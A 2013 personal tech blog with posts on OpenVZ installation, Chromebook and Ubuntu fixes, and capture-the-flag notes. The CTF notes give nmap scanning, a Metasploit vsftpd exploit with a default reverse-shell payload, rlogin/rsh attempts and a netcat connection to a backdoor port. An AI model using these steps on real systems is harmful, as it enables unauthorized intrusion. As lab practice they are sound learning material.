Thursday, June 20, 2013

Install OpenVZ on CentOS

Installation: I successfully installed OpenVZ on CentOS 6.4, but CentOS 5.5 has booting problem after switching to OpenVZ kernel

http://openvz.org/Quick_installation
https://openvz.org/Quick_Installation_CentOS_6

Create and Run a Container:
http://openvz.org/Basic_operations_in_OpenVZ_environment
http://openvz.org/Quick_installation

Change hostname on CentOS

$vim /etc/sysconfig/network

Change the HOSTNAME to anything you like
e.g.: sr1s5

Thursday, June 13, 2013

fix touchpad sensitive issue on ubuntu of Chromebook


http://craigerrington.com/blog/fixing-touchpad-issues-on-arm-chromebook-chrubuntu/

mkdir ~/backup sudo mv /usr/share/X11/xorg.conf.d/* ~/backup/ cd /usr/share/X11/xorg.conf.d/ (you can issue an ls here to make sure the dir is empty if you like) sudo wget http://craigerrington.com/chrome/x_alarm_chrubuntu.zip sudo unzip x_alarm_chrubuntu.zip sudo rm x_alarm_chrubuntu.zip
NOTE: This will set up a UK keyboard, follow these simple steps to change it:
Example:
sudo vi /usr/share/X11/xorg.conf.d/10-keyboard.conf

reboot

Ubuntu file system becomes read only

My Ubuntu on Chromebook has this problem, and it fixed by $fsck -Af

Source Link is:
http://askubuntu.com/questions/197459/read-only-file-system

The filesystem will usually go into read-only while the system is running if there is a filesystem consistency issue. This is specified in fstab as errors=remount-ro and will occur when a FS access fails or an emergency read-only remount is requested via Alt+SysRq+U. You can run:
sudo fsck -Af
to force a check of all filesystems. As the other very good answer states, looking at dmesg is also very helpful.


Friday, June 7, 2013

Capture The Flag notes

Here are some notes for capture the flag:

1. Use backtrack, because it has been installed many attacking tools including Metasploit

2. Use nmap to scan a target host, and identify what services are running

$ nmap -A -T4 www.hostIP.com
 -A: Enable OS detection, version detection, script scanning, and traceroute
 -T4 for faster execution
nmap cheatsheet: https://tiw2013.cse.psu.edu/slides/cheat_sheet.pdf

3. Go to securityfocus website, use the service name and version as the keyword, then find out if there is an vulnerability for that service. 

securityfocus: http://www.securityfocus.com/vulnerabilities
e.g., vsftpd, irc2

4. Open Metasploit to exploit the vulnerability

$ msfconsole
$ use /unix/vsftpd/exploit-path
$ set rhost target-IP
$ exploit

Metasploit set lhost to current IP and payload to reverse-shell as default. 


Additional Tips:
1) try rlogin and rsh commands 
$ rlogin -l username Target-IP
$ rsh -l username Target-IP

2) take a look at port 1524. If it is open, try to login with netcat
$nc TargetIP 1524